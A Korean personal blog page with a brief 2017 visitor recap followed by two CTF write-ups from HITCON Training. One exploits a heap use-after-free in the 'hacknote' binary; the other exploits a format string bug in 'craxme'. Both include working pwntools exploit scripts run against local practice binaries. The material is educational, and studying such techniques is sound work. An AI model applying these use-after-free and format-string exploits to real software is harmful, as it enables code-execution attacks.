tistory에서 2017년 결산을 내준다기에 해본 결과입니다.


1. 많이 언급한 단어



기존에 포스팅 한 글들을 파싱해서 자주 사용한 단어들을 뽑아주나보네요ㅋㅋ

역시 포스팅한 글들의 성격이 확연히 드러나는 것 같습니다.



2. 총 방문자 수

올해엔 총 8622명이 방문을 해주셨네요 ~

요즘 일평균 글을 올리지 않았을 때는 30~40명 정도 방문을 해주고 계시고

글을 올린 날은 100명 내외 정도 방문 해주시는 것같습니다.

조만간 블로그 토탈 방문자 수가 조만간 13000명을 넘을 것 같습니다! 핳


올해에도 열심히 포스팅 할테니 많이 들러주세요 ~

특히 올해에는 책을 읽고 난 후기도 포스팅을 해볼 예정이랍니다 !

그럼 이만 뿅~


'Study > ETC' 카테고리의 다른 글

Zip file구조  (2) 2016.10.27
Google I/O 2016 Extended Seoul 정리 및 후기  (4) 2016.06.19
Arpspoofing  (0) 2015.10.16
실전 악성코드와 멀웨어 분석 Lab03_03.exe  (0) 2014.09.01
실전 악성코드와 멀웨어 분석 Lab03-02.dll  (0) 2014.08.29

1. 시작하기전에...

이번 문제를 풀면서 할당된 heap메모리의 해제, 그리고 재할당에 대하여 조금 알게 되었습니다.

여전히 힙알못이라ㅠㅠ heap에 대해 알아가야 할 것들이 많은 것 같네요.. 


이번 포스팅에서 살펴볼 것은 heap의 First Fit과 Use After Free에 대한 내용입니다. 이번 문제의 HITCON Training의 부제가 UAF(Use After Free)여서

간단할 거라고 생각했다가 First Fit개념을 몰라서 한참 해맸습니다.


1-1. First Fit

First Fit을 이해하기 위한 선행지식이 조금 있지만 여기서는 많이 후려쳐서(?) 설명을 해보겠습니다.

먼저, heap의 할당과 해제를 효율적으로 하기위해 해제된 메모리를 핸들링하는 리스트들이 있습니다. 이 리스트들은 메모리 덩어리(chunk)들의 크기에 따라 다양하게 있지요. 자세한건 뒷 포스팅으로 넘기고.. 우선 그런 리스트들이 있다 정도만 인지하고 갑시다.


이 리스트는 새롭게 메모리가 해제될 때마다 tail쪽, 그러니까 리스트의 끝 쪽으로 삽입이 됩니다. 그리고 메모리 할당 요청이 오면 head쪽에서 부터 적당한

메모리가 있는지 검색을 해서 내어주게 됩니다.


char *a = malloc(20);     // 0xe4b010
char *b = malloc(20);     // 0xe4b030
char *c = malloc(20);     // 0xe4b050
char *d = malloc(20);     // 0xe4b070

free(a);
free(b);
free(c);
free(d);

a = malloc(20);           // 0xe4b070
b = malloc(20);           // 0xe4b050
c = malloc(20);           // 0xe4b030
d = malloc(20);           // 0xe4b010

이런 코드가 있을 때, 아래와 같은 순서가 된다는 것이지요.


  1. 'a' 메모리 해제

    head -> a -> tail

  2. 'b' 메모리 해제

    head -> b -> a -> tail

  3. 'c' 메모리 해제

    head -> c -> b -> a -> tail

  4. 'd' 메모리 해제

    head -> d -> c -> b -> a -> tail

  5. 'malloc' 요청

    head -> c -> b -> a -> tail [ 'd' is returned ]

  6. 'malloc' 요청

    head -> b -> a -> tail [ 'c' is returned ]

  7. 'malloc' 요청

    head -> a -> tail [ 'b' is returned ]

  8. 'malloc' 요청

    head -> tail [ 'a' is returned ]


그리고, 아래와 같은 특징도 있습니다.


char *a = malloc(300);    // 0x***010
char *b = malloc(250);    // 0x***150

free(a);

a = malloc(250);          // 0x***010
  1. 'a' 메모리 해제

    head -> a -> tail

  2. 'malloc' 요청

    head -> a2 -> tail [ 'a1' is returned ]


300바이트가 할당된 a가 해제 된 후 250바이트 요청이 들어왔습니다.

리스트에 300바이트짜리 a가 들어있었는데 250바이트가 요청 들어온 상황인데요, 이럴 때엔 300바이트의 공간이 a1과 a2로 쪼개져서 250바이트를 리턴해주고, 50바이트짜리 a2가 리스트에 남게 됩니다. 사이즈가 같으면 a가 통째로 리턴되고요. 단, 20바이트 이하인 경우에는 따로 핸들링이 되기 때문에(fastbin) 이 내용은 해당하지 않습니다.


이 순서와 과정 자체는 취약점이 아니라 리눅스에서 heap메모리를 핸들링하는 과정일 뿐입니다. 다만, 이런 로직을 알고 있어야 heap 공격을 할 수있겠죠.


[참고사이트] https://heap-exploitation.dhavalkapil.com/attacks/first_fit.html

위 참고 사이트는 first_fit뿐만이 아니라 heap의 전반적인 내용, heap exploitation이 상세히 설명되어있습니다.  

 

1-2. Use After Free

UAF는 말그대로 "메모리 해제를 한 다음에 사용을 한다" 는 이야기 입니다.

메모리 해제를 한 후에 그 heap공간을 보면 0이라던지 NULL과 같은 값으로 초기화 되지 않고 전에 사용했던 값이 그대로 남아 있습니다.

실수로 짜여져 로직 상 어떠한 이유로 해제 된 이후 그 공간을 재사용한다면, 의도치 않은 행위 혹은 값을 쓰게 됩니다.

자세한 설명은 아래 참고 사이트에 저어어어엉말 잘 설명되어있습니다.


[참고사이트] https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/  



2. 분석

그럼 문제를 살펴볼까요? hacknote.c에 대한 내용입니다. 이번 문제는 코드의 양이 많아 주요 부분만 잘라서 보도록하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int main(){
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    char buf[4];
    while(1){
        menu();
        read(0,buf,4);
        switch(atoi(buf)){
            case 1 : 
                add_note();
                break ;
            case 2 : 
                del_note();
                break ;
            case 3 : 
                print_note();
                break ;
            case 4 : 
                exit(0);
                break ;
            default :
                puts("Invalid choice");
                break ;
 
        }
    }   
    return 0;
}
cs


우선 메인입니다. 메뉴를 프린트 해주고 선택받은 메뉴번호(1~4)에 따라 노트추가, 노트 삭제, 노트 출력 등의 기능을 하는 함수를 호출하고있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct note {
    void (*printnote)();
    char *content ;
};
 
struct note *notelist[5];
 
void add_note(){
    int i ;
    char buf[8];
    int size ;
    if(count > 5){
        puts("Full");
        return ;
    }
    for(i = 0 ; i < 5 ; i ++){
        if(!notelist[i]){
            notelist[i] = (struct note*)malloc(sizeof(struct note));
            if(!notelist[i]){
                puts("Alloca Error");
                exit(-1);
            }
            notelist[i]->printnote = print_note_content;
            printf("Note size :");
            read(0,buf,8);
            size = atoi(buf);
            notelist[i]->content = (char *)malloc(size);
            if(!notelist[i]->content){
                puts("Alloca Error");
                exit(-1);
            }
            printf("Content :");
            read(0,notelist[i]->content,size);
            puts("Success !");
            count++;
            break;
        }
    }
}
cs


note구조체와 이 구조체들을 핸들링하기위한 전역변수 배열(notelist)이 있습니다.

note구조체에는 내용을 프린트 하는 printnote()의 주소를 담을 함수포인터 변수와, 노트의 내용이 적힐 문자열 포인터content 변수가 있네요.


addnote()함수를 살펴보면 먼저, 최대 갯수인 5개를 넘는지 count검사를 합니다. 5개를 초과하려고하면 더이상 추가를 안해주죠

count가 5개 이하면 노트를 추가하는데 로직은 아래와 같습니다.


1) for문(0 to 4)을 돌면서 비어있는 notelist의 공간을 찾는다.

2) 비어있는 notelist를 찾았다면, 그 공간에 note구조체 만큼 사이즈를 할당한다.

3) 할당한 note구조체의 printnote 함수포인터에 print_note_content 주소를 넣어준다.

4) 노트 사이즈를 입력받고 그 사이즈만큼 note구조체의 content에 메모리할당을 해준다.

5) content를 사이즈만큼 입력받아 써주고 전체 노트의 갯수인 count를 1 증가시켜준다.


뒤에서 한번 더 말씀드리겠지만 여기서 눈여겨 보실 곳은 3번과 4번입니다. 메모리 할당 순서에 대해 기억해주세요.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void del_note(){
    char buf[4];
    int idx ;
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= count){
        puts("Out of bound!");
        _exit(0);
    }
    if(notelist[idx]){
        free(notelist[idx]->content);
        free(notelist[idx]);
        puts("Success");
    }
}
cs


다음은 노트를 지우는 del_note입니다. 노트를 지우는 것이니 메모리 해제가 있겠죠?

간단히 삭제할 노트의 index를 입력받고 index가 유효한지 검사합니다. 그리고 해당 index에 노트가 들어있다면

노트의 content를 해제하고나서 notelist에 할당되어있는 note구조체를 해제합니다.


먼저, 노트 다섯개가 모두 할당 되어 있는 형태를 그려봅시다.

대략 이런 모습이겠죠? 전역변수로 선언되어 있는 배열 notelist가 각각 heap에 동적으로 할당된 notel들의 주소를 하나씩 가지고 있을 거에요

그리고 그 노트의 print함수의 주소는 같은 값이겠지만, 4바이트의 함수의 주소를 가지고 있을 테고 다음 4바이트는 content의 주소를 가지고 있겠지요.

구조체의 사이즈는 총 8바이트가 될거에요.


여기서 예를 들어 notelist[0]을 메모리 해제하면 어떤 일이 일어날까요? 바로 위에서 본 del_note()의 메모리 해제 순서와 first fit을 생각해봅시다.

del_note()에서 메모리해제는 content를 해제하고나서 구조체를 해제했죠? 그리고 first fit에는 어떻게 추가 될까요?


head -> notelist[0] -> notelist[0]`s content -> tail


이런 형식으로 리스트에 메모리 공간이 추가가 될거에요.

여기서 한번 더 notelist[1]을 해제하면??


head -> notelist[1] -> notelist[1]`s content -> notelist[0] -> notelist[0]`s content -> tail


해제 순서에 따르면 리스트는 저렇게 유지가 되고 있을거에요. 메모리 사이즈까지 적어서 한번 다시 봅시다.


head -> notelist[1] (8byte) -> notelist[1]`s content (?) -> notelist[0] (8byte) -> notelist[0]`s content (?) -> tail



자, 이 상태에서 하나의 노트를 추가 한다고 해봅시다. 사이즈는 8바이트로요! 왜 하필 8바이트일까요?

그건 notelist[0]의 자리에 원하는 값을 쓰기 위함입니다.


add_note()를 다시 따라가 봅시다. 새로 생성되는 note는 구조체 메모리 만큼(8바이트) 할당을 받아요.

그럼 위 리스트의 head쪽에 가까운 8바이트를 할당 받겠죠? 거기가 어디냐면 notelist[1]의 구조체가 있던 자리에요.

거기에 새로운 구조체가 할당 받아 질거에요. 그리고 한번 더 8바이트 만큼 요청하면 notelist[0]가 있던 곳의 8바이트를 할당 받겠죠.


바로 요 모습이 될거에요. 이제 감이 슬슬 잡히죠. 새롭게 할당 된 content자리는 notelist[0]이 할당되어 있던 자리이고, 앞의 4바이트는 notelist[0]의 내용을 print해주는 함수의 주소가 있던 자리이지요.


그렇담, 저기에 원하는 함수의 주소를 써넣은 후 notelist[0]를 print한다면 원하는 함수를 호출 할 수 있게 됩니다.



3. exploit


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
 
= process("./hacknote")
 
 
def addnote(size,content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)
 
def delnote(idx):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))
 
def printnote(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))
 
magic = 0x08048986
addnote(24,"JSbach")
addnote(24,"uisoo")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
 
log.info(p.recv())
cs


분석란에서 설명한 로직을 그대로 exploit코드로 옮겼습니다.

처음엔 24바이트씩 두번 노트를 생성하고 해제를 0번, 1번 순서대로 메모리를 해제했습니다.

그리고 8바이트 크기로 한번더 노트를 생성할 때 content에 우리의 목표인 magic함수의 주소를 써주어 exploit에 성공했습니다.



끗!



1. 시작하기전에...


Format String Bug

포맷 스트링 버그는 취약점 공격에 사용될 수 있는 보안 취약점으로써 1989년 경에 발견되었다. 이전에는 위험하지 않다고 여겨졌지만, 포맷 스트링 익스플로잇은 프로그램을 충돌시키거나 악의적인 코드를 실행 시키는데 사용될 수 있다. 문제는 포맷팅을 수행하는 printf() 같은 특정한 C 함수들에서 검사되지 않은 사용자 입력을 포맷 스트링 파라미터로 사용하는 것으로부터 나온다. 악의적인 사용자는 %s와 %x 포맷 토큰들을 콜 스택 또는 메모리의 가능한 다른 위치의 데이터를 보이게 하는 데 사용할 수 있다. 또한 %n 포맷 토큰을 사용해서 임의적인 데이터를 임의적인 위치로 쓸 수 있는데, 이것은 printf() 와 비슷한 함수들이 많은 바이트들을 스택에 저장된 주소에 쓰게 한다.


[참조] https://ko.wikipedia.org/wiki/%ED%8F%AC%EB%A7%B7_%EC%8A%A4%ED%8A%B8%EB%A7%81_%EB%B2%84%EA%B7%B8

[참고사이트] http://blog.naver.com/PostView.nhn?blogId=haks2198&logNo=220840244540&categoryNo=0&parentCategoryNo=0&viewDate=&currentPage=1&postListTopCurrentPage=1&from=postView


포맷스트링 버그의 핵심만 요약하자면, printf와 같은 포맷스트링을 인자로 받는 함수에서 변환명세(%x, %c, %d와같은)의 갯수와 동일하게 스택에서 pop하여 출력하는 것에서 부터 시작합니다. 또한 %n은 앞에서 출력한 문자열의 사이즈를 해당 변수에 저장하는데, 이것들을 조합하여 해커가 원하는 메모리 공간에 임의의 원하는 값을 쓸 수 있게 되는 것이지요.


개인적인 생각으로는 많은 취약점들이 프로그래머의 실수에서 부터 시작되기는 하지만, Format String Bug같은 경우에는 특히나 더 실수 의존도(?)가 더 높은 것 같습니다. 다만, 이 취약점이 있다면 해당 주소에 정확히 값을 덮어 쓰기 때문에 canary같은 메모리 보호기법에 영향을 받지 않아 꽤나 강력하다고 생각됩니다. 


포맷스트링버그의 자세한 개념과 페이로드 작성방법은 이 포스팅에서 생략하도록 하겠습니다. 참고사이트를 참고해주세요.

이 포스팅에서는 쉽고 쎈 pwntools의 fmtstr_payload를 사용하여 exploit하는 방법에 대해서 설명하려고 합니다. 


2. 분석

craxme.c

1
2
3
4
5
6
7
8
9
100
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
 
int magic = 0 ; 
 
int main(){
    char buf[0x100];
    setvbuf(stdout,0,2,0);
    puts("Please crax me !");
    printf("Give me magic :");
    read(0,buf,0x100);
    printf(buf);
    if(magic == 0xda){
        system("cat /home/craxme/flag");
    }else if(magic == 0xfaceb00c){
        system("cat /home/craxme/craxflag");
    }else{
        puts("You need be a phd");
    }   
 
}
cs


가장 먼저 전역변수 magic이 0으로 초기화 되어 있습니다. 메인함수가 시작되면 "Please crax me !" 을 출력한 다음

Give me magic : 이후 buf공간에 0x100(256) 바이트 만큼 read하고 있는데, 버퍼 사이즈만큼 read하고 있기 때문에, BOF는 발생하지 않아보입니다.


이후에는 0으로 초기화된 maigc의 값이 0xda이면 cat /home/craxme/flag를 실행하고, 0xfaceb00c이면 cat /home/craxme/craxflag 를 실행합니다.

이도저도아니면 You need be a phd.를 출력하고 프로그램은 끝나게되겠습니다.


위에 참고사이트로 적어드린 곳을 보고 오셨다면 어느부분이 취약한 지 바로 보이시겠죠?

read직후에 버퍼를 출력해주는 printf(buf); 이 부분에서 printf에 포맷스트링을 쓰지않아 포맷스트링 버그가 발생하게 됩니다.


3. exploit


1
2
3
4
5
6
7
8
9
100
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
context.log_level = 'debug'
magic_addr = 0x0804a038
offset = 7 
 
proc = process("./craxme")
 
proc.recv()
payload = fmtstr_payload(offset, {magic_addr:0xda})
 
proc.sendline(payload)
log.info(proc.recvuntil('!'))
 
 
proc = process("./craxme")
 
proc.recv()
payload = fmtstr_payload(offset, {magic_addr:0xfaceb00c})
 
proc.sendline(payload)
log.info(proc.recvuntil('!'))
 
cs


※이 문제풀이를 로컬에서 했기 때문에, c소스에서 지정하고있는 경로에 flag파일들을 미리 만들어 두고 시작합니다.


자, 그럼 exploit코드를 보겠습니다. 라고 하기 무색할만큼 차떼고 포떼면 한줄 밖에 안남아요ㅠ

핵심은 fmtstr_payload 함수에 있습니다.


[pwntools] http://docs.pwntools.com/en/stable/fmtstr.html 

위 링크를 보시면 pwntools공식 사이트에 fmtstr_payload가 설명되어있는 페이지를 보실 수 있습니다. 아래는 사이트에서 해당부분을 캡쳐한 것 입니다.


파라미터 중 offset에 관해서 한번 보도록하죠.

설명에서는 the first formatter’s offset you control 라고 되어있습니다. 

해석만해보면 컨트롤 할 첫 번째 포맷터의 오프셋.. 정도가 될텐데 사실 전 이것만 보고는 ?? 이게 무슨말이지 라고 생각했었더랬죠ㅠㅠ

자, 그래서 이게 무슨말이냐면 쉽게 말해서 현재 출력하고 있는 버퍼가 스택 상에서 실제 어디에 있느냐 정도가 되겠습니다.

아직 감이 잘 안오시나요? 아래 그림을 한번 봐주세요.



첫 번째 그림을 보면 read를 실행하는 main+100에서 브레이크포인트를 잡아서 찍어본 스택의 상황입니다. read함수의 인자로 들어간 buf의 주소가 가운데 0xffffd0dc에요.


두 번째 그림을 보면 aaaa %8x %8x %8x %8x %8x %8x %8x 을 넣어 실행한 결과이지요. 두 실행 시기가 달라 메모리주소는 약간 다릅니다만, 만약 같은 시기에 찍었다면 0xffffd0dc와 ffa2996c가 같은 값이 나왔을 것이고, f7ffd000가 f771a000으로 같은 값이 나왔을 거에요.


이제 슬슬 offset의 의미가 감이 오시나요? 포맷스트링 버그에 %x등의 변환명세를 집어 넣었을 때, 버퍼의 값을 찍을 수 있는 거리가 offset이 된다는 이야기입니다.


aaaa 이후 %8x를 일곱개를 넣어 aaaa의 값인 61616161을 찍을 수 있었 듯이 말이지요.


exploit에 이용한 fmtstr_payload함수를 다시 볼게요. offset이후에 딕셔너리 인자가 하나 들어갔습니다. 딱 봐도! 어디에다 무엇을 쓰고 싶은지를 넣어주는 딕셔너리 객체라는 것을 알 수 있으시겠지요.


magic자리에 문제에서 요구하는 0xda와 0xfaceb00c을 넣어주겠다 라고 지정하면, 요구사항에 맞게 포맷스트링 버그를 exploit할 수 있는 페이로드를 리턴해줍니다. 이거 그냥 보내기만 하면돼요.


다들 아시겠지만 혹시나 하는 마음에... 한 가지 팁으로 magic의 주소는 어떻게 알아낼까요?


gdb에서 info variables 라는 명령어를 입력하면 전역변수들의 주소를 알 수 있어요.


결과보고 포스팅 마치겠습니다.



디버그모드로 exploit코드를 실행하였기 때문에 어떤 페이로드를 보냈고, 어떤 결과를 받았는지 dump된 형태로 살펴 볼 수 있습니다.


끝!

+ Recent posts